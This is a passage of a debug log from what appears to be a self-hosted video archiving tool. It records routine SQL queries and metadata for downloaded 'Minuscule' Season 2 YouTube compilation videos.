= 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [96299] 22:09:23.879 [debug] Current batch of media processed. Will check again in 1000ms 22:09:24.880 [debug] Current batch of media processed. Will check again in 1000ms 22:09:25.881 [debug] Current batch of media processed. Will check again in 1000ms 22:09:26.882 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Beehive On A Troll | S02E56\n00:03:30 | Honey Fly | S02E08\n00:07:20 | Trapped | S02E64\n00:11:03 | Gather More to Pollinate More | S02E32\n00:14:48 | The Housing Plant Project | S02E26\n00:18:25 | Homeless | S02E02\n00:22:12 | The Annoying Neighbor | S02E28\n00:25:49 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Beehive #Pollen #Troll #Shelter #Honey #Fly #Bees #Admiration #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1810, "filename" => "/downloads/Miniscule Season 2/2025-08-21 Beehive On A Troll | Minuscule 🍃 40' Compilation/Beehive On A Troll | Minuscule 🍃 40' Compilation [YvYdCFLchVw].mp4", "id" => "YvYdCFLchVw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=YvYdCFLchVw", "playlist_index" => 32, "timestamp" => 1755770463, "title" => "Beehive On A Troll | Minuscule 🍃 40' Compilation", "upload_date" => "20250821"} 22:09:26.883 [debug] QUERY OK source="sources" db=0.4ms idle=1711.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:26.884 [debug] QUERY OK source="sources" db=0.4ms idle=1712.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:26.885 [debug] QUERY OK source="media_items" db=1.0ms idle=1713.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-21 10:01:03Z], 5] 22:09:26.911 [debug] QUERY OK source="media_items" db=24.8ms idle=1187.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Beehive On A Troll | S02E56\n00:03:30 | Honey Fly | S02E08\n00:07:20 | Trapped | S02E64\n00:11:03 | Gather More to Pollinate More | S02E32\n00:14:48 | The Housing Plant Project | S02E26\n00:18:25 | Homeless | S02E02\n00:22:12 | The Annoying Neighbor | S02E28\n00:25:49 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Beehive #Pollen #Troll #Shelter #Honey #Fly #Bees #Admiration #Minuscule #nature #insects #ladybugs #animatedseries", "Beehive On A Troll | Minuscule 🍃 40' Compilation", "34f6f133-7798-4eb0-812e-e22be89bc9ef", "YvYdCFLchVw", 1810, false, 5, "https://www.youtube.com/watch?v=YvYdCFLchVw", 32, "/downloads/Miniscule Season 2/2025-08-21 Beehive On A Troll | Minuscule 🍃 40' Compilation/Beehive On A Troll | Minuscule 🍃 40' Compilation [YvYdCFLchVw].mp4", false, false, false, [], 1, ~U[2025-08-21 10:01:03Z], ~U[2025-12-12 05:09:26Z], ~U[2025-12-12 05:09:26Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Beehive On A Troll | S02E56\n00:03:30 | Honey Fly | S02E08\n00:07:20 | Trapped | S02E64\n00:11:03 | Gather More to Pollinate More | S02E32\n00:14:48 | The Housing Plant Project | S02E26\n00:18:25 | Homeless | S02E02\n00:22:12 | The Annoying Neighbor | S02E28\n00:25:49 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Beehive #Pollen #Troll #Shelter #Honey #Fly #Bees #Admiration #Minuscule #nature #insects #ladybugs #animatedseries", "Beehive On A Troll | Minuscule 🍃 40' Compilation", "YvYdCFLchVw", 1810, false, 5, "https://www.youtube.com/watch?v=YvYdCFLchVw", "/downloads/Miniscule Season 2/2025-08-21 Beehive On A Troll | Minuscule 🍃 40' Compilation/Beehive On A Troll | Minuscule 🍃 40' Compilation [YvYdCFLchVw].mp4", false, ~U[2025-08-21 10:01:03Z]] 22:09:26.912 [debug] QUERY OK source="sources" db=0.3ms idle=210.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:26.912 [debug] QUERY OK source="media_profiles" db=0.3ms idle=29.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:26.913 [debug] QUERY OK source="media_items" db=0.4ms idle=28.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [95920] 22:09:26.913 [debug] Current batch of media processed. Will check again in 1000ms 22:09:27.915 [debug] Current batch of media processed. Will check again in 1000ms 22:09:28.916 [debug] Current batch of media processed. Will check again in 1000ms 22:09:29.917 [debug] Current batch of media processed. Will check again in 1000ms 22:09:30.918 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Refrigerated | S02E65\n00:03:34 | Microzilla | S02E07\n00:07:20 | Brushing | S02E46\n00:10:52 | Snow Fly | S02E51\n00:14:17 | Summer Hat | S02E48\n00:17:58 | Bzzaping | S02E03\n00:21:45 | Spider from the Depths | S02E31\n00:25:20 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Refrigerated #spider #fly #ice #Microzilla #microwave #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1784, "filename" => "/downloads/Miniscule Season 2/2025-08-26 Refrigerated | Minuscule 🍃 40' Compilation/Refrigerated | Minuscule 🍃 40' Compilation [BG3zv1AFadA].mp4", "id" => "BG3zv1AFadA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BG3zv1AFadA", "playlist_index" => 33, "timestamp" => 1756188017, "title" => "Refrigerated | Minuscule 🍃 40' Compilation", "upload_date" => "20250826"} 22:09:30.919 [debug] QUERY OK source="sources" db=0.4ms idle=747.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:30.920 [debug] QUERY OK source="sources" db=0.4ms idle=748.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:30.921 [debug] QUERY OK source="media_items" db=1.0ms idle=749.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-26 06:00:17Z], 5] 22:09:30.925 [debug] QUERY OK source="media_items" db=3.2ms idle=751.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Refrigerated | S02E65\n00:03:34 | Microzilla | S02E07\n00:07:20 | Brushing | S02E46\n00:10:52 | Snow Fly | S02E51\n00:14:17 | Summer Hat | S02E48\n00:17:58 | Bzzaping | S02E03\n00:21:45 | Spider from the Depths | S02E31\n00:25:20 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Refrigerated #spider #fly #ice #Microzilla #microwave #Minuscule #nature #insects #ladybugs #animatedseries", "Refrigerated | Minuscule 🍃 40' Compilation", "4cfe2da0-19ba-4507-8ba2-6dc5335aabda", "BG3zv1AFadA", 1784, false, 5, "https://www.youtube.com/watch?v=BG3zv1AFadA", 33, "/downloads/Miniscule Season 2/2025-08-26 Refrigerated | Minuscule 🍃 40' Compilation/Refrigerated | Minuscule 🍃 40' Compilation [BG3zv1AFadA].mp4", false, false, false, [], 1, ~U[2025-08-26 06:00:17Z], ~U[2025-12-12 05:09:30Z], ~U[2025-12-12 05:09:30Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Refrigerated | S02E65\n00:03:34 | Microzilla | S02E07\n00:07:20 | Brushing | S02E46\n00:10:52 | Snow Fly | S02E51\n00:14:17 | Summer Hat | S02E48\n00:17:58 | Bzzaping | S02E03\n00:21:45 | Spider from the Depths | S02E31\n00:25:20 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Refrigerated #spider #fly #ice #Microzilla #microwave #Minuscule #nature #insects #ladybugs #animatedseries", "Refrigerated | Minuscule 🍃 40' Compilation", "BG3zv1AFadA", 1784, false, 5, "https://www.youtube.com/watch?v=BG3zv1AFadA", "/downloads/Miniscule Season 2/2025-08-26 Refrigerated | Minuscule 🍃 40' Compilation/Refrigerated | Minuscule 🍃 40' Compilation [BG3zv1AFadA].mp4", false, ~U[2025-08-26 06:00:17Z]] 22:09:30.926 [debug] QUERY OK source="sources" db=0.4ms idle=216.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:30.927 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:30.927 [debug] QUERY OK source="media_items" db=0.3ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [96303] 22:09:30.927 [debug] Current batch of media processed. Will check again in 1000ms 22:09:31.929 [debug] Current batch of media processed. Will check again in 1000ms 22:09:32.930 [debug] Current batch of media processed. Will check again in 1000ms 22:09:33.931 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | To The Port Now! | S02E43\n00:03:27 | Rascals! | S02E38\n00:07:06 | White As Snow | S02E63\n00:10:43 | The Yule log | S02E35\n00:14:28 | An Acorn Season | S02E05\n00:18:14 | Sausage Predator | S02E06\n00:22:00 | Sand Castle | S02E49\n00:25:26 | Ants On The Train | S02E52\n00:28:58 | The Chocolate Chase! | S02E19\n00:32:43 | Snow Carrot | S02E59\n00:36:22 | A Pathetic She'Nut'Igan | S02E12\n00:40:07 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ant #trap #booty #walnut #ants #battle #steal #leader #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2668, "filename" => "/downloads/Miniscule Season 2/2025-08-07 To The Port Now! | Minuscule 🍃 60' Compilation/To The Port Now! | Minuscule 🍃 60' Compilation [KbWIJP2TEkE].mp4", "id" => "KbWIJP2TEkE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=KbWIJP2TEkE", "playlist_index" => 34, "timestamp" => 1754560846, "title" => "To The Port Now! | Minuscule 🍃 60' Compilation", "upload_date" => "20250807"} 22:09:33.932 [debug] QUERY OK source="sources" db=0.4ms idle=1760.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:33.933 [debug] QUERY OK source="sources" db=0.3ms idle=1761.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:33.934 [debug] QUERY OK source="media_items" db=1.0ms idle=1762.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-07 10:00:46Z], 5] 22:09:34.862 [debug] QUERY OK source="media_items" db=926.5ms idle=1220.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | To The Port Now! | S02E43\n00:03:27 | Rascals! | S02E38\n00:07:06 | White As Snow | S02E63\n00:10:43 | The Yule log | S02E35\n00:14:28 | An Acorn Season | S02E05\n00:18:14 | Sausage Predator | S02E06\n00:22:00 | Sand Castle | S02E49\n00:25:26 | Ants On The Train | S02E52\n00:28:58 | The Chocolate Chase! | S02E19\n00:32:43 | Snow Carrot | S02E59\n00:36:22 | A Pathetic She'Nut'Igan | S02E12\n00:40:07 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ant #trap #booty #walnut #ants #battle #steal #leader #Minuscule #nature #insects #ladybugs #animatedseries", "To The Port Now! | Minuscule 🍃 60' Compilation", "e9691553-ce64-4805-b655-5dd0093d2978", "KbWIJP2TEkE", 2668, false, 5, "https://www.youtube.com/watch?v=KbWIJP2TEkE", 34, "/downloads/Miniscule Season 2/2025-08-07 To The Port Now! | Minuscule 🍃 60' Compilation/To The Port Now! | Minuscule 🍃 60' Compilation [KbWIJP2TEkE].mp4", false, false, false, [], 1, ~U[2025-08-07 10:00:46Z], ~U[2025-12-12 05:09:33Z], ~U[2025-12-12 05:09:33Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | To The Port Now! | S02E43\n00:03:27 | Rascals! | S02E38\n00:07:06 | White As Snow | S02E63\n00:10:43 | The Yule log | S02E35\n00:14:28 | An Acorn Season | S02E05\n00:18:14 | Sausage Predator | S02E06\n00:22:00 | Sand Castle | S02E49\n00:25:26 | Ants On The Train | S02E52\n00:28:58 | The Chocolate Chase! | S02E19\n00:32:43 | Snow Carrot | S02E59\n00:36:22 | A Pathetic She'Nut'Igan | S02E12\n00:40:07 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ant #trap #booty #walnut #ants #battle #steal #leader #Minuscule #nature #insects #ladybugs #animatedseries", "To The Port Now! | Minuscule 🍃 60' Compilation", "KbWIJP2TEkE", 2668, false, 5, "https://www.youtube.com/watch?v=KbWIJP2TEkE", "/downloads/Miniscule Season 2/2025-08-07 To The Port Now! | Minuscule 🍃 60' Compilation/To The Port Now! | Minuscule 🍃 60' Compilation [KbWIJP2TEkE].mp4", false, ~U[2025-08-07 10:00:46Z]] 22:09:34.863 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=930.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:34.864 [debug] QUERY OK source="media_profiles" db=0.4ms idle=930.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:34.865 [debug] QUERY OK source="media_items" db=0.6ms idle=930.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 